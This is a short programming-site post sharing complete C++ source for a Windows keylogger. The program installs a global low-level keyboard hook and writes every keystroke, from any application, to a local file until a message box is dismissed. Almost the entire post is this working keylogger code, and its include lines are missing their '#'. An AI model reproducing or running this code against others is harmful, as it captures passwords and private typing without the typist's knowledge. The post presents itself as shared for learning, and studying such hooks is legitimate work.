Windows下C++通過Hooks記錄鍵盤敲擊記錄

mx3y 9年前發布 | 1K 次閱讀 C/C++

#define _WIN32_WINNT 0x0500

include<fstream>

include<windows.h>

using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

// If key is being pressed
if (wParam == WM_KEYDOWN) {
    switch (p->vkCode) {

        // Invisible keys
        case VK_CAPITAL:    out << "<CAPLOCK>";     break;
        case VK_SHIFT:      out << "<SHIFT>";       break;
        case VK_LCONTROL:   out << "<LCTRL>";       break;
        case VK_RCONTROL:   out << "<RCTRL>";       break;
        case VK_INSERT:     out << "<INSERT>";      break;
        case VK_END:        out << "<END>";         break;
        case VK_PRINT:      out << "<PRINT>";       break;
        case VK_DELETE:     out << "<DEL>";         break;
        case VK_BACK:       out << "<BK>";          break;

        case VK_LEFT:       out << "<LEFT>";        break;
        case VK_RIGHT:      out << "<RIGHT>";       break;
        case VK_UP:         out << "<UP>";          break;
        case VK_DOWN:       out << "<DOWN>";        break;

        // Visible keys
        default:
            out << char(tolower(p->vkCode));

    }
}

return CallNextHookEx(NULL, nCode, wParam, lParam);

}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(
    WH_KEYBOARD_LL,
    keyboardHookProc,
    hInstance,
    0);

MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

out.close();

return 0;

}</pre>

 本文由用戶 mx3y 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!